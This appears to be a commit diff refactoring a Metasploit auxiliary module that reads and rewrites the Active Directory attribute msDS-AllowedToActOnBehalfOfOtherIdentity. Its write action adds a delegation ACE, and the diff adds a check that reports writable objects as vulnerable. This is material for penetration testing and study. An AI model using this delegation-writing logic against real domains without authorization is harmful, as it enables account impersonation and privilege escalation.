5
5
6
6
class MetasploitModule < Msf ::Auxiliary
7
7
8
- include Msf ::Exploit ::Remote ::LDAP
8
+ include Msf ::Exploit ::Remote ::LDAP :: ActiveDirectory
9
9
include Msf ::OptionalSession ::LDAP
10
10
11
11
ATTRIBUTE = 'msDS-AllowedToActOnBehalfOfOtherIdentity' . freeze
@@ -65,32 +65,19 @@ def build_ace(sid)
65
65
} )
66
66
end
67
67
68
- def fail_with_ldap_error ( message )
69
- ldap_result = @ldap . get_operation_result . table
70
- return if ldap_result [ :code ] == 0
71
-
72
- print_error ( message )
73
- # Codes taken from https://ldap.com/ldap-result-code-reference-core-ldapv3-result-codes
74
- case ldap_result [ :code ]
75
- when 1
76
- fail_with ( Failure ::Unknown , "An LDAP operational error occurred. The error was: #{ ldap_result [ :error_message ] . strip } " )
77
- when 16
78
- fail_with ( Failure ::NotFound , 'The LDAP operation failed because the referenced attribute does not exist.' )
79
- when 50
80
- fail_with ( Failure ::NoAccess , 'The LDAP operation failed due to insufficient access rights.' )
81
- when 51
82
- fail_with ( Failure ::UnexpectedReply , 'The LDAP operation failed because the server is too busy to perform the request.' )
83
- when 52
84
- fail_with ( Failure ::UnexpectedReply , 'The LDAP operation failed because the server is not currently available to process the request.' )
85
- when 53
86
- fail_with ( Failure ::UnexpectedReply , 'The LDAP operation failed because the server is unwilling to perform the request.' )
87
- when 64
88
- fail_with ( Failure ::Unknown , 'The LDAP operation failed due to a naming violation.' )
89
- when 65
90
- fail_with ( Failure ::Unknown , 'The LDAP operation failed due to an object class violation.' )
68
+ def get_delegate_to_obj
69
+ delegate_to = datastore [ 'DELEGATE_TO' ]
70
+ if delegate_to . blank?
71
+ fail_with ( Failure ::BadConfig , 'The DELEGATE_TO option must be specified for this action.' )
91
72
end
92
73
93
- fail_with ( Failure ::Unknown , "Unknown LDAP error occurred: result: #{ ldap_result [ :code ] } message: #{ ldap_result [ :error_message ] . strip } " )
74
+ obj = adds_get_object_by_samaccountname ( @ldap , delegate_to )
75
+ if obj . nil? && !delegate_to . end_with? ( '$' )
76
+ obj = adds_get_object_by_samaccountname ( @ldap , "#{ delegate_to } $" )
77
+ end
78
+ fail_with ( Failure ::NotFound , "Failed to find sAMAccountName: #{ delegate_to } " ) unless obj
79
+
80
+ obj
94
81
end
95
82
96
83
def get_delegate_from_obj
@@ -99,35 +86,41 @@ def get_delegate_from_obj
99
86
fail_with ( Failure ::BadConfig , 'The DELEGATE_FROM option must be specified for this action.' )
100
87
end
101
88
102
- obj = ldap_get ( "(sAMAccountName= #{ delegate_from } )" , attributes : [ 'sAMAccountName' , 'ObjectSID' ] )
89
+ obj = adds_get_object_by_samaccountname ( @ldap , delegate_from )
103
90
if obj . nil? && !delegate_from . end_with? ( '$' )
104
- obj = ldap_get ( "(sAMAccountName= #{ delegate_from } $)" , attributes : [ 'sAMAccountName' , 'ObjectSID' ] )
91
+ obj = adds_get_object_by_samaccountname ( @ldap , " #{ delegate_from } $" )
105
92
end
106
93
fail_with ( Failure ::NotFound , "Failed to find sAMAccountName: #{ delegate_from } " ) unless obj
107
94
108
95
obj
109
96
end
110
97
111
- def ldap_get ( filter , attributes : [ ] )
112
- raw_obj = @ ldap. search ( base : @base_dn , filter : filter , attributes : attributes ) . first
113
- return nil unless raw_obj
98
+ def check
99
+ ldap_connect do | ldap |
100
+ validate_bind_success! ( ldap )
114
101
115
- obj = { }
102
+ if ( @base_dn = datastore [ 'BASE_DN' ] )
103
+ print_status ( "User-specified base DN: #{ @base_dn } " )
104
+ else
105
+ print_status ( 'Discovering base DN automatically' )
116
106
117
- obj [ 'dn' ] = raw_obj [ 'dn' ] . first . to_s
118
- unless raw_obj [ 'sAMAccountName' ] . empty?
119
- obj [ 'sAMAccountName' ] = raw_obj [ 'sAMAccountName' ] . first . to_s
120
- end
107
+ unless ( @base_dn = ldap . base_dn )
108
+ print_warning ( "Couldn't discover base DN!" )
109
+ end
110
+ end
111
+ @ldap = ldap
121
112
122
- unless raw_obj [ 'ObjectSid' ] . empty?
123
- obj [ 'ObjectSid' ] = Rex ::Proto ::MsDtyp ::MsDtypSid . read ( raw_obj [ 'ObjectSid' ] . first )
124
- end
113
+ obj = get_delegate_to_obj
114
+ if obj . nil?
115
+ return Exploit ::CheckCode ::Unknown ( 'Failed to find the specified object.' )
116
+ end
125
117
126
- unless raw_obj [ ATTRIBUTE ] . empty?
127
- obj [ ATTRIBUTE ] = Rex :: Proto :: MsDtyp :: MsDtypSecurityDescriptor . read ( raw_obj [ ATTRIBUTE ] . first )
128
- end
118
+ unless adds_obj_grants_permissions? ( @ldap , obj , ACEMatcherAllowAll . new ( %i[ RP WP ] ) )
119
+ return Exploit :: CheckCode :: Safe ( 'The object can not be written to.' )
120
+ end
129
121
130
- obj
122
+ Exploit ::CheckCode ::Vulnerable ( 'The object can be written to.' )
123
+ end
131
124
end
132
125
133
126
def run
@@ -145,12 +138,7 @@ def run
145
138
end
146
139
@ldap = ldap
147
140
148
- delegate_to = datastore [ 'DELEGATE_TO' ]
149
- obj = ldap_get ( "(sAMAccountName=#{ delegate_to } )" , attributes : [ 'sAMAccountName' , 'ObjectSID' , ATTRIBUTE ] )
150
- if obj . nil? && !delegate_to . end_with? ( '$' )
151
- obj = ldap_get ( "(sAMAccountName=#{ delegate_to } $)" , attributes : [ 'sAMAccountName' , 'ObjectSID' , ATTRIBUTE ] )
152
- end
153
- fail_with ( Failure ::NotFound , "Failed to find sAMAccountName: #{ delegate_to } " ) unless obj
141
+ obj = get_delegate_to_obj
154
142
155
143
send ( "action_#{ action . name . downcase } " , obj )
156
144
end
@@ -165,12 +153,12 @@ def run
165
153
end
166
154
167
155
def action_read ( obj )
168
- security_descriptor = obj [ ATTRIBUTE ]
169
- if security_descriptor . nil?
156
+ if obj [ ATTRIBUTE ] . first . nil?
170
157
print_status ( "The #{ ATTRIBUTE } field is empty." )
171
158
return
172
159
end
173
160
161
+ security_descriptor = Rex ::Proto ::MsDtyp ::MsDtypSecurityDescriptor . read ( obj [ ATTRIBUTE ] . first )
174
162
if ( sddl = sd_to_sddl ( security_descriptor ) )
175
163
vprint_status ( "#{ ATTRIBUTE } : #{ sddl } " )
176
164
end
@@ -182,9 +170,9 @@ def action_read(obj)
182
170
183
171
print_status ( 'Allowed accounts:' )
184
172
security_descriptor . dacl . aces . each do |ace |
185
- account_name = ldap_get ( "(ObjectSid= #{ ace . body . sid } )" , attributes : [ 'sAMAccountName' ] )
173
+ account_name = adds_get_object_by_sid ( @ldap , ace . body . sid )
186
174
if account_name
187
- print_status ( " #{ ace . body . sid } (#{ account_name [ ' sAMAccountName' ] } )" )
175
+ print_status ( " #{ ace . body . sid } (#{ account_name [ : sAMAccountName] . first } )" )
188
176
else
189
177
print_status ( " #{ ace . body . sid } " )
190
178
end
@@ -194,14 +182,14 @@ def action_read(obj)
194
182
def action_remove ( obj )
195
183
delegate_from = get_delegate_from_obj
196
184
197
- security_descriptor = obj [ ATTRIBUTE ]
185
+ security_descriptor = Rex :: Proto :: MsDtyp :: MsDtypSecurityDescriptor . read ( obj [ ATTRIBUTE ] . first )
198
186
unless security_descriptor . dacl && !security_descriptor . dacl . aces . empty?
199
187
print_status ( 'No DACL ACEs are present. No changes are necessary.' )
200
188
return
201
189
end
202
190
203
191
aces = security_descriptor . dacl . aces . snapshot
204
- aces . delete_if { |ace | ace . body [ : sid] == delegate_from [ 'ObjectSid' ] }
192
+ aces . delete_if { |ace | ace . body . sid == delegate_from [ :objectSid ] . first }
205
193
delta = security_descriptor . dacl . aces . length - aces . length
206
194
if delta == 0
207
195
print_status ( 'No DACL ACEs matched. No changes are necessary.' )
@@ -214,28 +202,27 @@ def action_remove(obj)
214
202
security_descriptor . dacl . acl_count . clear
215
203
security_descriptor . dacl . acl_size . clear
216
204
217
- unless @ldap . replace_attribute ( obj [ 'dn' ] , ATTRIBUTE , security_descriptor . to_binary_s )
218
- fail_with_ldap_error ( "Failed to update the #{ ATTRIBUTE } attribute." )
219
- end
205
+ @ldap . replace_attribute ( obj . dn , ATTRIBUTE , security_descriptor . to_binary_s )
206
+ validate_query_result! ( @ldap . get_operation_result . table )
207
+
220
208
print_good ( "Successfully updated the #{ ATTRIBUTE } attribute." )
221
209
end
222
210
223
211
def action_flush ( obj )
224
- unless obj [ ATTRIBUTE ]
212
+ unless obj [ ATTRIBUTE ] &. first
225
213
print_status ( "The #{ ATTRIBUTE } field is empty. No changes are necessary." )
226
214
return
227
215
end
228
216
229
- unless @ldap . delete_attribute ( obj [ 'dn' ] , ATTRIBUTE )
230
- fail_with_ldap_error ( "Failed to deleted the #{ ATTRIBUTE } attribute." )
231
- end
217
+ @ldap . delete_attribute ( obj . dn , ATTRIBUTE )
218
+ validate_query_result! ( @ldap . get_operation_result . table )
232
219
233
220
print_good ( "Successfully deleted the #{ ATTRIBUTE } attribute." )
234
221
end
235
222
236
223
def action_write ( obj )
237
224
delegate_from = get_delegate_from_obj
238
- if obj [ ATTRIBUTE ]
225
+ if obj [ ATTRIBUTE ] &. first
239
226
_action_write_update ( obj , delegate_from )
240
227
else
241
228
_action_write_create ( obj , delegate_from )
@@ -244,36 +231,36 @@ def action_write(obj)
244
231
245
232
def _action_write_create ( obj , delegate_from )
246
233
vprint_status ( "Creating new #{ ATTRIBUTE } ..." )
234
+ delegate_from_sid = Rex ::Proto ::MsDtyp ::MsDtypSid . read ( delegate_from [ :objectSid ] . first )
247
235
security_descriptor = Rex ::Proto ::MsDtyp ::MsDtypSecurityDescriptor . new
248
236
security_descriptor . owner_sid = Rex ::Proto ::MsDtyp ::MsDtypSid . new ( 'S-1-5-32-544' )
249
237
security_descriptor . dacl = Rex ::Proto ::MsDtyp ::MsDtypAcl . new
250
238
security_descriptor . dacl . acl_revision = Rex ::Proto ::MsDtyp ::MsDtypAcl ::ACL_REVISION_DS
251
- security_descriptor . dacl . aces << build_ace ( delegate_from [ 'ObjectSid' ] )
239
+ security_descriptor . dacl . aces << build_ace ( delegate_from_sid )
252
240
253
241
if ( sddl = sd_to_sddl ( security_descriptor ) )
254
242
vprint_status ( "New #{ ATTRIBUTE } : #{ sddl } " )
255
243
end
256
244
257
- unless @ldap . add_attribute ( obj [ 'dn' ] , ATTRIBUTE , security_descriptor . to_binary_s )
258
- fail_with_ldap_error ( "Failed to create the #{ ATTRIBUTE } attribute." )
259
- end
245
+ @ldap . add_attribute ( obj . dn , ATTRIBUTE , security_descriptor . to_binary_s )
246
+ validate_query_result! ( @ldap . get_operation_result . table )
260
247
261
248
print_good ( "Successfully created the #{ ATTRIBUTE } attribute." )
262
249
print_status ( 'Added account:' )
263
- print_status ( " #{ delegate_from [ 'ObjectSid' ] } (#{ delegate_from [ ' sAMAccountName' ] } )" )
250
+ print_status ( " #{ delegate_from_sid } (#{ delegate_from [ : sAMAccountName] . first } )" )
264
251
end
265
252
266
253
def _action_write_update ( obj , delegate_from )
267
254
vprint_status ( "Updating existing #{ ATTRIBUTE } ..." )
268
- security_descriptor = obj [ ATTRIBUTE ]
255
+ security_descriptor = Rex :: Proto :: MsDtyp :: MsDtypSecurityDescriptor . read ( obj [ ATTRIBUTE ] . first )
269
256
270
257
if ( sddl = sd_to_sddl ( security_descriptor ) )
271
258
vprint_status ( "Old #{ ATTRIBUTE } : #{ sddl } " )
272
259
end
273
260
274
261
if security_descriptor . dacl
275
- if security_descriptor . dacl . aces . any? { |ace | ace . body [ :sid ] . to_s == delegate_from [ 'ObjectSid' ] . to_s }
276
- print_status ( "Delegation from #{ delegate_from [ ' sAMAccountName' ] } to #{ obj [ ' sAMAccountName' ] } is already configured." )
262
+ if security_descriptor . dacl . aces . any? { |ace | ace . body . sid == delegate_from [ :objectSid ] . first }
263
+ print_status ( "Delegation from #{ delegate_from [ : sAMAccountName] . first } to #{ obj [ : sAMAccountName] . first } is already configured." )
277
264
end
278
265
# clear these fields so they'll be calculated automatically after the update
279
266
security_descriptor . dacl . acl_count . clear
@@ -284,15 +271,15 @@ def _action_write_update(obj, delegate_from)
284
271
security_descriptor . dacl . acl_revision = Rex ::Proto ::MsDtyp ::MsDtypAcl ::ACL_REVISION_DS
285
272
end
286
273
287
- security_descriptor . dacl . aces << build_ace ( delegate_from [ 'ObjectSid' ] )
274
+ delegate_from_sid = Rex ::Proto ::MsDtyp ::MsDtypSid . read ( delegate_from [ :objectSid ] . first )
275
+ security_descriptor . dacl . aces << build_ace ( delegate_from_sid )
288
276
289
277
if ( sddl = sd_to_sddl ( security_descriptor ) )
290
278
vprint_status ( "New #{ ATTRIBUTE } : #{ sddl } " )
291
279
end
292
280
293
- unless @ldap . replace_attribute ( obj [ 'dn' ] , ATTRIBUTE , security_descriptor . to_binary_s )
294
- fail_with_ldap_error ( "Failed to update the #{ ATTRIBUTE } attribute." )
295
- end
281
+ @ldap . replace_attribute ( obj . dn , ATTRIBUTE , security_descriptor . to_binary_s )
282
+ validate_query_result! ( @ldap . get_operation_result . table )
296
283
297
284
print_good ( "Successfully updated the #{ ATTRIBUTE } attribute." )
298
285
end
0 commit comments